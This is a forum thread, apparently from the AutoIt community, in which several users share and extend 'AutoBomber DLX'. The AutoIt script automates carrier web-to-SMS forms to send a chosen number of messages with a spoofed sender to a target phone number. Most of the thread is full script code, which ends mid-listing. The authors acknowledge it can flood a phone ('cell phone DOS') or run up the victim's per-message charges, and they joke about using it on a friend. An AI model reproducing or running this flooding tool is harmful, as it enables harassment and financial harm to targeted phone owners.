Diverge Posted April 6, 2006 Posted April 6, 2006 (edited) I created this program basically cause my friends and I like to text message each other stupid sayings that we'd normally forward around to each other via our cell phones. Basically I am lazy, and don't like typing stuff on my cell phone, so I started using the cellphone carrier websites to send the messages (while I am bored at work). I then started to creat AutoIt scripts to do the job for me, but my original was based on the resolution of your monitor and relied on mouse movements and clicks. A while ago I came across the IE.au3 Library, but could never figure out how to get it to work (I just found the beta run and beta complile functions yesterday hehe). Using some of the example scripts, and asking some questions, I now have my little program not relying on your resolution or mouse movements, and it can now do 3 cell phone carriers: Verizon, Cingular, and Nextel I don't know if anyone will have any good uses for this (other then me and my friends), but it could be used maliciously (cell phone DOS, or costing someone lots of money if they don't have a text message package). So don't use it with bad intent. If the mods think it's bad, feel free to remove it. I just figured I share it. BTW, I'm no expert... I've pretty much just taught myself basics of a couple different programming languages by using help files and examples. I'm sure this code can be written a lot better. To use it, insert your messages that you want in the AutoBomber_msg.txt file, each line will represent a different message that will be randomly picked to send. The AutoBomber_from.txt stores that names that it will randomly pick for the 'From' field of the text message. The AutoBomber_To_CELLCARRIERNAME.txt files will store the last number you used for that particular carrier.AutoBomber_DLX_V3.1.rar Edited April 6, 2006 by Diverge
Diverge Posted April 7, 2006 Author Posted April 7, 2006 (edited) Hmm, it seems to not want to run on PC's that don't have AutoIt and SciTe on them... comes up with an object error. But it works just fine on the PC I used to create it. Edit: It actually works on my coworkers PC, and he doesn't have AutoIt or SciTe installed on it. But it is the same exact identical system as my PC... But it didn't work on my home PC, or one of the lab PC's at work... weird Edited April 7, 2006 by Diverge
ConsultingJoe Posted April 7, 2006 Posted April 7, 2006 hey can you zip it instead? Check out ConsultingJoe.com
Mosquitos Posted April 9, 2006 Posted April 9, 2006 Here are the files from the rar file...AutoBomber_DLX_V3.1.au3AutoBomber__s.txtAutoBomber_from.txtAutoBomber_msg.txtAutoBomber_To_Cingular.txtAutoBomber_To_Nextel.txtAutoBomber_To_Verizon.txt Sapiente vince, rex, noli vincere ferro!
ConsultingJoe Posted April 9, 2006 Posted April 9, 2006 Thanks it works great but it did give me an object fail error for something like ready Check out ConsultingJoe.com
ConsultingJoe Posted April 10, 2006 Posted April 10, 2006 I have add T-Mobile to the list to bomb. This is really a great program.Are there any other carriers that should be added, LET ME KNOWHere is the code:CODE#include <GUIConstants.au3>#include <IE.au3>GUICreate("AutoBomber DLX", 200, 60)GUICtrlCreateLabel("Pick Cell Carrier to Autobomb", 30, 10)$verizon = GUICtrlCreateButton("Verizon", 0, 30, 50)$cingular = GUICtrlCreateButton("Cingular", 50, 30, 50)$nextel = GUICtrlCreateButton("Nextel", 100, 30, 50)$tmobile = GUICtrlCreateButton("T-Mobile", 150, 30, 50)GUISetState(@SW_SHOW);--------main loop----------------------------------------------------------------While 1 $msg = GUIGetMsg() Select Case $msg = $verizon $Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?") $iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1) $aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" ) $aMessage = InputBox("-< AutoBomber >-", "Enter the message to send") Verizon($aFrom,$aMessage,$Cell_Number) Case $msg = $cingular $Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?") $iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1) $aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" ) $aMessage = InputBox("-< AutoBomber >-", "Enter the message to send") Cingular($aFrom,$aMessage,$Cell_Number) Case $msg = $nextel $Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?") $iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1) $aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" ) $aMessage = InputBox("-< AutoBomber >-", "Enter the message to send") Nextel($aFrom,$aMessage,$Cell_Number) Case $msg = $tmobile $Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?") $iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1) $aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" ) $aMessage = InputBox("-< AutoBomber >-", "Enter the message to send") tmobile($aFrom,$aMessage,$Cell_Number) Case $msg = $GUI_EVENT_CLOSE ExitLoop EndSelectWEnd;------------T-Mobile website interaction-----------------------------------------Func tmobile($From,$Message,$Cell_Number) Do TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16) $oIE = _IECreate(0) _IENavigate($oIE, "https://wmg.tmomail.net/customer_site/jsp/messaging_lo.jsp") _IELoadWait($oIE) ;------------------------------------------------------------------------------------ $o_form = _IEFormGetObjByName($oIE, "message_form") $o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To $o_msg = _IEFormElementGetObjByName($o_form, "text"); <----Message $o_from = _IEFormElementGetObjByName($o_form, "require_sender"); <----From $o_terms = _IEFormElementGetObjByName($o_form, "msgTermsUse"); <-----terms ;------------------------------------------------------------------------------------ _IEFormElementSetValue($o_to, $Cell_Number) _IEFormElementSetValue($o_msg, $aMessage) _IEFormElementSetValue($o_from, $aFrom) $o_terms.click _IEFormSubmit($o_form) ;-----------page 2(disclaimer)------------------------------------------------------- _IELoadWait($oIE) $src = "https://wmg.tmomail.net/customer_site/images/buttons/btn_send_message_lo.gif" $oInputs = _IETagNameGetCollection($oIE.document, "input") For $oInput in $oInputs If $oInput.type = "image" and $oInput.src = $src Then $oInput.click ExitLoop EndIf Next _IELoadWait($oIE) Sleep(2000) _IEQuit($oIE) $iNumberOfBombs= $iNumberOfBombs - 1 Until $iNumberOfBombs <= 0EndFunc;------------verizon website interaction-----------------------------------------Func Verizon($From,$Message,$Cell_Number) Do TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16) $oIE = _IECreate(0) _IENavigate($oIE, "www.vtext.com") _IELoadWait($oIE) ;------------------------------------------------------------------------------------ $o_form = _IEFormGetObjByName($oIE, "message_form") $o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To $o_msg = _IEFormElementGetObjByName($o_form, "text"); <----Message $o_from = _IEFormElementGetObjByName($o_form, "subject"); <----From ;------------------------------------------------------------------------------------ _IEFormElementSetValue($o_to, $Cell_Number) _IEFormElementSetValue($o_msg, $aMessage) _IEFormElementSetValue($o_from, $aFrom) Sleep(2000) _IEFormSubmit($o_form) ;-----------page 2(disclaimer)------------------------------------------------------- _IELoadWait($oIE) $src = "https://www.vtext.com/customer_site/images/buttons/btn_ok.gif" $oInputs = _IETagNameGetCollection($oIE.document, "input") For $oInput in $oInputs If $oInput.type = "image" and $oInput.src = $src Then $oInput.click ExitLoop EndIf Next _IELoadWait($oIE) Sleep(2000) _IEQuit($oIE) $iNumberOfBombs= $iNumberOfBombs - 1 Until $iNumberOfBombs <= 0EndFunc;-----------cingular website interaction-----------------------------------------Func Cingular($From,$Message,$Cell_Number) $oIE = _IECreate(0) Do TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16) _IENavigate($oIE, "http://www.cingularme.com/do/public?l=en-US&v=cingular") _IELoadWait($oIE) ;------------------------------------------------------------------------------------ $o_form = _IEFormGetObjByName($oIE, "publicForm") $o_from = _IEFormElementGetObjByName($o_form, "from"); <----From $o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To $o_msg = _IEFormElementGetObjByName($o_form, "msg"); <----Message ;------------------------------------------------------------------------------------ _IEFormElementSetValue($o_from, $aFrom) _IEFormElementSetValue($o_to, $Cell_Number) _IEFormElementSetValue($o_msg, $aMessage) ;Sleep(2000) _IEFormSubmit($o_form) _IELoadWait($oIE) Sleep(2000) $iNumberOfBombs= $iNumberOfBombs - 1 Until $iNumberOfBombs <= 0 _IEQuit($oIE)EndFunc;-----------nextel website interaction-----------------------------------------Func Nextel($From,$Message,$Cell_Number) $oIE = _IECreate(0) Do TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16) _IENavigate($oIE, "http://messaging.nextel.com/cgi/iPageExt.dll?cmd=buildIndAddressPage") _IELoadWait($oIE) ;------------------------------------------------------------------------------------ $o_form = _IEFormGetObjByName($oIE, "") $o_newnumber = _IEFormElementGetObjByName($o_form, "newnumber"); <----Send To _IEFormElementSetValue($o_newnumber, $Cell_Number) ;------------------------------------------------------------------------------ $src = "http://messaging.nextel.com/assets/images/twoway/btn_go.gif" $oInputs = _IETagNameGetCollection($oIE.document, "input") For $oInput in $oInputs If $oInput.type = "image" and $oInput.src = $src Then $oInput.click ExitLoop EndIf Next _IELoadWait($oIE) $o_form2 = _IEFormGetObjByName($oIE, "msgForm") $o_from = _IEFormElementGetObjByName($o_form2, "from"); <----From $o_messsage = _IEFormElementGetObjByName($o_form2, "message"); <----Message $o_replynumber = _IEFormElementGetObjByName($o_form2, "replynumber") _IEFormElementSetValue($o_from, $aFrom) _IEFormElementSetValue($o_messsage, $aMessage) _IEFormElementSetValue($o_replynumber, $Cell_Number) ;--------------------------------------------------------- $src = "http://messaging.nextel.com/assets/images/twoway/btn_sendmessage.gif" $oInputs = _IETagNameGetCollection($oIE.document, "input") For $oInput in $oInputs If $oInput.type = "image" and $oInput.src = $src Then $oInput.click ExitLoop EndIf Next _IELoadWait($oIE) Sleep(2000) $iNumberOfBombs= $iNumberOfBombs - 1 Until $iNumberOfBombs <= 0 _IEQuit($oIE)EndFunc Check out ConsultingJoe.com
CitizenErased Posted April 10, 2006 Posted April 10, 2006 sweet program, but Zero dont you even dare trying this on me since i seem to be becoming your guinea pig for your dumb pranks, texts to or from my phone are 10cents a piece.
ConsultingJoe Posted April 11, 2006 Posted April 11, 2006 (edited) sweet program, but Zero dont you even dare trying this on me since i seem to be becoming your guinea pig for your dumb pranks, texts to or from my phone are 10cents a piece.LOL, DJ and I were just thinking about it today, but we don't have ur number, lol. I would't though.I have updated the code again, Now with these carriers:Nextel & Sprint (Sprint untested)US CellularCingularT-MobileVerisonVirgin Mobile is next on my list They don't have sms service online, if there are any other carriers, let me knowCODE#include <GUIConstants.au3>#include <IE.au3>GUICreate("AutoBomber DLX", 260, 60)GUICtrlCreateLabel("Pick Cell Carrier to Autobomb", 60, 10)$verizon = GUICtrlCreateButton("Verizon", 0, 30, 50)$cingular = GUICtrlCreateButton("Cingular", 50, 30, 50)$nextel = GUICtrlCreateButton("Nextel", 100, 30, 50)$tmobile = GUICtrlCreateButton("T-Mobile", 150, 30, 50)$uscell = GUICtrlCreateButton("US Cellular", 200, 30, 60)GUISetState(@SW_SHOW);--------main loop----------------------------------------------------------------While 1 $msg = GUIGetMsg() Select Case $msg = $verizon $Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)") $iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1) $aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" ) $aMessage = InputBox("-< AutoBomber >-", "Enter the message to send") Verizon($aFrom,$aMessage,$Cell_Number) Case $msg = $uscell $Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)") $iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1) $aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)", "5555551212" ) $aMessage = InputBox("-< AutoBomber >-", "Enter the message to send") USCell($aFrom,$aMessage,$Cell_Number) Case $msg = $cingular $Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)") $iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1) $aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" ) $aMessage = InputBox("-< AutoBomber >-", "Enter the message to send") Cingular($aFrom,$aMessage,$Cell_Number) Case $msg = $nextel $Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)") $iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1) $aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" ) $aMessage = InputBox("-< AutoBomber >-", "Enter the message to send") Nextel($aFrom,$aMessage,$Cell_Number) Case $msg = $tmobile $Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)") $iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1) $aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" ) $aMessage = InputBox("-< AutoBomber >-", "Enter the message to send") tmobile($aFrom,$aMessage,$Cell_Number) Case $msg = $GUI_EVENT_CLOSE ExitLoop EndSelectWEnd;------------T-Mobile website interaction-----------------------------------------Func tmobile($From,$Message,$Cell_Number) $oIE = _IECreate(0) Do TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16) _IENavigate($oIE, "https://wmg.tmomail.net/customer_site/jsp/messaging_lo.jsp") _IELoadWait($oIE) ;------------------------------------------------------------------------------------ $o_form = _IEFormGetObjByName($oIE, "message_form") $o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To $o_msg = _IEFormElementGetObjByName($o_form, "text"); <----Message $o_from = _IEFormElementGetObjByName($o_form, "require_sender"); <----From $o_terms = _IEFormElementGetObjByName($o_form, "msgTermsUse"); <-----terms ;------------------------------------------------------------------------------------ _IEFormElementSetValue($o_to, $Cell_Number) _IEFormElementSetValue($o_msg, $aMessage) _IEFormElementSetValue($o_from, $aFrom) $o_terms.click _IEFormSubmit($o_form) ;-----------page 2(disclaimer)------------------------------------------------------- _IELoadWait($oIE) $src = "https://wmg.tmomail.net/customer_site/images/buttons/btn_send_message_lo.gif" $oInputs = _IETagNameGetCollection($oIE.document, "input") For $oInput in $oInputs If $oInput.type = "image" and $oInput.src = $src Then $oInput.click ExitLoop EndIf Next _IELoadWait($oIE) ;Sleep(2000) $iNumberOfBombs= $iNumberOfBombs - 1 Until $iNumberOfBombs <= 0 _IEQuit($oIE) TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)EndFunc;------------US Cellular website interaction-----------------------------------------Func USCell($From,$Message,$Cell_Number) $oIE = _IECreate(0) Do TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16) _IENavigate($oIE, "http://usc.ztango.com/uscwmss") _IELoadWait($oIE, 2000) ;------------------------------------------------------------------------------------ $o_form = _IEFormGetObjByName($oIE, "message_form") $o_to = _IEFormElementGetObjByName($o_form, "ADDRESSES"); <----Send To $o_msg = _IEFormElementGetObjByName($o_form, "MSG_TMP"); <----Message $o_from = _IEFormElementGetObjByName($o_form, "FROMADDRESS"); <----From $o_terms = _IEFormElementGetObjByName($o_form, "tc_agree"); <-----terms ;------------------------------------------------------------------------------------ _IEFormElementSetValue($o_to, $Cell_Number) _IEFormElementSetValue($o_msg, $aMessage) _IEFormElementSetValue($o_from, $aFrom) $o_terms.click _IELoadWait($oIE) _IEClickImg($oIE, "http://usc.ztango.com/images/usc_bn_send.gif") $iNumberOfBombs= $iNumberOfBombs - 1 Until $iNumberOfBombs <= 0 _IEQuit($oIE) TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)EndFunc;------------verizon website interaction-----------------------------------------Func Verizon($From,$Message,$Cell_Number) $oIE = _IECreate(0) Do TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16) _IENavigate($oIE, "www.vtext.com") _IELoadWait($oIE) ;------------------------------------------------------------------------------------ $o_form = _IEFormGetObjByName($oIE, "message_form") $o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To $o_msg = _IEFormElementGetObjByName($o_form, "text"); <----Message $o_from = _IEFormElementGetObjByName($o_form, "subject"); <----From ;------------------------------------------------------------------------------------ _IEFormElementSetValue($o_to, $Cell_Number) _IEFormElementSetValue($o_msg, $aMessage) _IEFormElementSetValue($o_from, $aFrom) ;Sleep(2000) _IEFormSubmit($o_form) ;-----------page 2(disclaimer)------------------------------------------------------- _IELoadWait($oIE) $src = "https://www.vtext.com/customer_site/images/buttons/btn_ok.gif" $oInputs = _IETagNameGetCollection($oIE.document, "input") For $oInput in $oInputs If $oInput.type = "image" and $oInput.src = $src Then $oInput.click ExitLoop EndIf Next _IELoadWait($oIE) ;Sleep(2000) $iNumberOfBombs= $iNumberOfBombs - 1 Until $iNumberOfBombs <= 0 _IEQuit($oIE) TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)EndFunc;-----------cingular website interaction-----------------------------------------Func Cingular($From,$Message,$Cell_Number) $oIE = _IECreate(0) Do TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16) _IENavigate($oIE, "http://www.cingularme.com/do/public?l=en-US&v=cingular") _IELoadWait($oIE) ;------------------------------------------------------------------------------------ $o_form = _IEFormGetObjByName($oIE, "publicForm") $o_from = _IEFormElementGetObjByName($o_form, "from"); <----From $o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To $o_msg = _IEFormElementGetObjByName($o_form, "msg"); <----Message ;------------------------------------------------------------------------------------ _IEFormElementSetValue($o_from, $aFrom) _IEFormElementSetValue($o_to, $Cell_Number) _IEFormElementSetValue($o_msg, $aMessage) ;Sleep(2000) _IEFormSubmit($o_form) _IELoadWait($oIE) ;Sleep(2000) $iNumberOfBombs= $iNumberOfBombs - 1 Until $iNumberOfBombs <= 0 _IEQuit($oIE) TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)EndFunc;-----------nextel website interaction-----------------------------------------Func Nextel($From,$Message,$Cell_Number) $oIE = _IECreate(0) Do TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16) _IENavigate($oIE, "http://messaging.nextel.com/cgi/iPageExt.dll?cmd=buildIndAddressPage") _IELoadWait($oIE) ;------------------------------------------------------------------------------------ $o_form = _IEFormGetObjByName($oIE, "") $o_newnumber = _IEFormElementGetObjByName($o_form, "newnumber"); <----Send To _IEFormElementSetValue($o_newnumber, $Cell_Number) ;------------------------------------------------------------------------------ $src = "http://messaging.nextel.com/assets/images/twoway/btn_go.gif" $oInputs = _IETagNameGetCollection($oIE.document, "input") For $oInput in $oInputs If $oInput.type = "image" and $oInput.src = $src Then $oInput.click ExitLoop EndIf Next _IELoadWait($oIE) $o_form2 = _IEFormGetObjByName($oIE, "msgForm") $o_from = _IEFormElementGetObjByName($o_form2, "from"); <----From $o_messsage = _IEFormElementGetObjByName($o_form2, "message"); <----Message $o_replynumber = _IEFormElementGetObjByName($o_form2, "replynumber") _IEFormElementSetValue($o_from, $aFrom) _IEFormElementSetValue($o_messsage, $aMessage) _IEFormElementSetValue($o_replynumber, $Cell_Number) ;--------------------------------------------------------- $src = "http://messaging.nextel.com/assets/images/twoway/btn_sendmessage.gif" $oInputs = _IETagNameGetCollection($oIE.document, "input") For $oInput in $oInputs If $oInput.type = "image" and $oInput.src = $src Then $oInput.click ExitLoop EndIf Next _IELoadWait($oIE) ;Sleep(2000) $iNumberOfBombs= $iNumberOfBombs - 1 Until $iNumberOfBombs <= 0 _IEQuit($oIE) TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)EndFunc Edited April 11, 2006 by zerocool60544 Check out ConsultingJoe.com
Lapo Posted April 11, 2006 Posted April 11, 2006 (edited) use : [ code ] without spaces your code [/ code ] without spaces MsgBox(262144, "", $a) Your above code is hard to copy and paste Edited April 11, 2006 by Lapo
Diverge Posted April 11, 2006 Author Posted April 11, 2006 I'm glad you guys like it, and liked it enough to add more to it. It wouldn't have been as flawless without that IE library that Dale created (mouse movement and clicks in the original made it buggy). I haven't been playing with it much lately, kinda on and off with it. But I was just curious if anyone that got the object error figured out what was causing it? I just found it wierd to work just fine on some systems, and then come up with an object error on others. Maybe it has to do with Internet Explorer version, or some other windows updates...? Anyway, have fun and don't use it maliciously, those 10 cent charges could add up if someone doesn't have a txt msg package.
pingpong24 Posted April 11, 2006 Posted April 11, 2006 can we add some Uk poviders thanks NumCR Super Fast EASY NUMBER OCR, easiest and the fastest AUTOIT OCR released on this forum
ConsultingJoe Posted April 11, 2006 Posted April 11, 2006 (edited) can we add some Uk poviders thanksGive me there sites for the carriers and I will see what I can do,FASTERUPDATEDCODE#include <GUIConstants.au3>#include <IE.au3>Opt("TrayIconDebug", 1)Toggle_Images(1)GUICreate("AutoBomber DLX", 260, 60)GUICtrlCreateLabel("Pick Cell Carrier to Autobomb", 60, 10)$verizon = GUICtrlCreateButton("Verizon", 0, 30, 50)$cingular = GUICtrlCreateButton("Cingular", 50, 30, 50)$nextel = GUICtrlCreateButton("Nextel", 100, 30, 50)$tmobile = GUICtrlCreateButton("T-Mobile", 150, 30, 50)$uscell = GUICtrlCreateButton("US Cellular", 200, 30, 60)GUISetState(@SW_SHOW);--------main loop----------------------------------------------------------------While 1 $msg = GUIGetMsg() Select Case $msg = $verizon $Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)") $iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1) $aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" ) $aMessage = InputBox("-< AutoBomber >-", "Enter the message to send") Verizon($aFrom,$aMessage,$Cell_Number) Case $msg = $uscell $Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)") $iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1) $aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)", "5555551212" ) $aMessage = InputBox("-< AutoBomber >-", "Enter the message to send") USCell($aFrom,$aMessage,$Cell_Number) Case $msg = $cingular $Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)") $iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1) $aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" ) $aMessage = InputBox("-< AutoBomber >-", "Enter the message to send") Cingular($aFrom,$aMessage,$Cell_Number) Case $msg = $nextel $Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)") $iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1) $aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" ) $aMessage = InputBox("-< AutoBomber >-", "Enter the message to send") Nextel($aFrom,$aMessage,$Cell_Number) Case $msg = $tmobile $Cell_Number=InputBox("-< AutoBomber >-","Cell phone number to bomb?" & @CRLF & "(MUST BE A TEN DIGIT NUMBER WITH NO SPACES)") $iNumberOfBombs=InputBox("-< AutoBomber >-","Number of times to bomb cell?",1) $aFrom = InputBox("-< AutoBomber >-", "Enter who the message is coming from", "bob" ) $aMessage = InputBox("-< AutoBomber >-", "Enter the message to send") tmobile($aFrom,$aMessage,$Cell_Number) Case $msg = $GUI_EVENT_CLOSE ExitLoop EndSelectWEnd;------------T-Mobile website interaction-----------------------------------------Func tmobile($From,$Message,$Cell_Number) $oIE = _IECreate(0) Do TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16) _IENavigate($oIE, "https://wmg.tmomail.net/customer_site/jsp/messaging_lo.jsp") _IELoadWait($oIE, 2000) ;------------------------------------------------------------------------------------ $o_form = _IEFormGetObjByName($oIE, "message_form") $o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To $o_msg = _IEFormElementGetObjByName($o_form, "text"); <----Message $o_from = _IEFormElementGetObjByName($o_form, "require_sender"); <----From $o_terms = _IEFormElementGetObjByName($o_form, "msgTermsUse"); <-----terms ;------------------------------------------------------------------------------------ _IEFormElementSetValue($o_to, $Cell_Number) _IEFormElementSetValue($o_msg, $aMessage) _IEFormElementSetValue($o_from, $aFrom) $o_terms.click _IEFormSubmit($o_form) ;-----------page 2(disclaimer)------------------------------------------------------- _IELoadWait($oIE, 2000) $src = "https://wmg.tmomail.net/customer_site/images/buttons/btn_send_message_lo.gif" $oInputs = _IETagNameGetCollection($oIE.document, "input") For $oInput in $oInputs If $oInput.type = "image" and $oInput.src = $src Then $oInput.click ExitLoop EndIf Next _IELoadWait($oIE, 2000) ;Sleep(2000) $iNumberOfBombs= $iNumberOfBombs - 1 Until $iNumberOfBombs <= 0 _IEQuit($oIE) TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)EndFunc;------------US Cellular website interaction-----------------------------------------Func USCell($From,$Message,$Cell_Number) $oIE = _IECreate(0) Do TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16) _IENavigate($oIE, "http://usc.ztango.com/uscwmss") _IELoadWait($oIE, 2000) ;------------------------------------------------------------------------------------ $o_form = _IEFormGetObjByName($oIE, "message_form") $o_to = _IEFormElementGetObjByName($o_form, "ADDRESSES"); <----Send To $o_msg = _IEFormElementGetObjByName($o_form, "MSG_TMP"); <----Message $o_from = _IEFormElementGetObjByName($o_form, "FROMADDRESS"); <----From $o_terms = _IEFormElementGetObjByName($o_form, "tc_agree"); <-----terms ;------------------------------------------------------------------------------------ _IEFormElementSetValue($o_to, $Cell_Number) _IEFormElementSetValue($o_msg, $aMessage) _IEFormElementSetValue($o_from, $aFrom) $o_terms.click _IELoadWait($oIE, 2000) _IEClickImg($oIE, "http://usc.ztango.com/images/usc_bn_send.gif") $iNumberOfBombs= $iNumberOfBombs - 1 Until $iNumberOfBombs <= 0 _IEQuit($oIE) TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)EndFunc;------------verizon website interaction-----------------------------------------Func Verizon($From,$Message,$Cell_Number) $oIE = _IECreate(0) Do TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16) _IENavigate($oIE, "www.vtext.com") _IELoadWait($oIE, 2000) ;------------------------------------------------------------------------------------ $o_form = _IEFormGetObjByName($oIE, "message_form") $o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To $o_msg = _IEFormElementGetObjByName($o_form, "text"); <----Message $o_from = _IEFormElementGetObjByName($o_form, "subject"); <----From ;------------------------------------------------------------------------------------ _IEFormElementSetValue($o_to, $Cell_Number) _IEFormElementSetValue($o_msg, $aMessage) _IEFormElementSetValue($o_from, $aFrom) ;Sleep(2000) _IEFormSubmit($o_form) ;-----------page 2(disclaimer)------------------------------------------------------- _IELoadWait($oIE, 2000) $src = "https://www.vtext.com/customer_site/images/buttons/btn_ok.gif" $oInputs = _IETagNameGetCollection($oIE.document, "input") For $oInput in $oInputs If $oInput.type = "image" and $oInput.src = $src Then $oInput.click ExitLoop EndIf Next _IELoadWait($oIE, 2000) ;Sleep(2000) $iNumberOfBombs= $iNumberOfBombs - 1 Until $iNumberOfBombs <= 0 _IEQuit($oIE) TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)EndFunc;-----------cingular website interaction-----------------------------------------Func Cingular($From,$Message,$Cell_Number) $oIE = _IECreate(0) Do TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16) _IENavigate($oIE, "http://www.cingularme.com/do/public?l=en-US&v=cingular") _IELoadWait($oIE, 2000) ;------------------------------------------------------------------------------------ $o_form = _IEFormGetObjByName($oIE, "publicForm") $o_from = _IEFormElementGetObjByName($o_form, "from"); <----From $o_to = _IEFormElementGetObjByName($o_form, "min"); <----Send To $o_msg = _IEFormElementGetObjByName($o_form, "msg"); <----Message ;------------------------------------------------------------------------------------ _IEFormElementSetValue($o_from, $aFrom) _IEFormElementSetValue($o_to, $Cell_Number) _IEFormElementSetValue($o_msg, $aMessage) ;Sleep(2000) _IEFormSubmit($o_form) _IELoadWait($oIE, 2000) ;Sleep(2000) $iNumberOfBombs= $iNumberOfBombs - 1 Until $iNumberOfBombs <= 0 _IEQuit($oIE) TrayTip ( "BOMBING", "BOMBING COMPLETE", 3, 16)EndFunc;-----------nextel website interaction-----------------------------------------Func Nextel($From,$Message,$Cell_Number) $oIE = _IECreate(0) Do TrayTip ( "BOMBING", $iNumberOfBombs & " bombs remaining", 3, 16) _IENavigate($oIE, "http://messaging.nextel.com/cgi/iPageExt.dll?cmd=buildIndAddressPage") _IELoadWait($oIE, 2000) ;------------------------------------------------------------------------------------ $o_form = _IEFormGetObjByName($oIE, "") $o_newnumber = _IEFormElementGetObjByName($o_form, "newnumber"); <----Send To _IEFormElementSetValue($o_newnumber, $Cell_Number) ;------------------------------------------------------------------------------ $src = "http://messaging.nextel.com/assets/images/twoway/btn_go.gif" $oInputs = _IETagNameGetCollection($oIE.document, "input") For $oInput in $oInputs If $oInput.type = "image" and $oInput.src = $src Then $oInput.click ExitLoop EndIf Next _IELoadWait($oIE, 2000) $o_form2 = _IEFormGetObjByName($oIE, "msgForm") $o_from = _IEFormElementGetObjByName($o_form2, "from"); <----From $o_messsage = _IEFormElementGetObjByName($o_form2, "message"); <----Message $o_replynumber = _IEFormElementGetObjByName($o_form2, "replynumber") _IEFormElementSetValue($o_from, $aFrom) _IEFormElementSetValue($o_messsage, $aMessage) _IEFormElementSetValue($o_replynumber, $Cell_Number) ;--------------------------------------------------------- $src = "http://messaging.nextel.com/assets/images/twoway/btn_sendmessage.gif" $oInputs = _IETagNameGetCollection($oIE.document, "input") For $oInput in $oInputs If $oInput.type = "image" and $oInput.src = $src Then 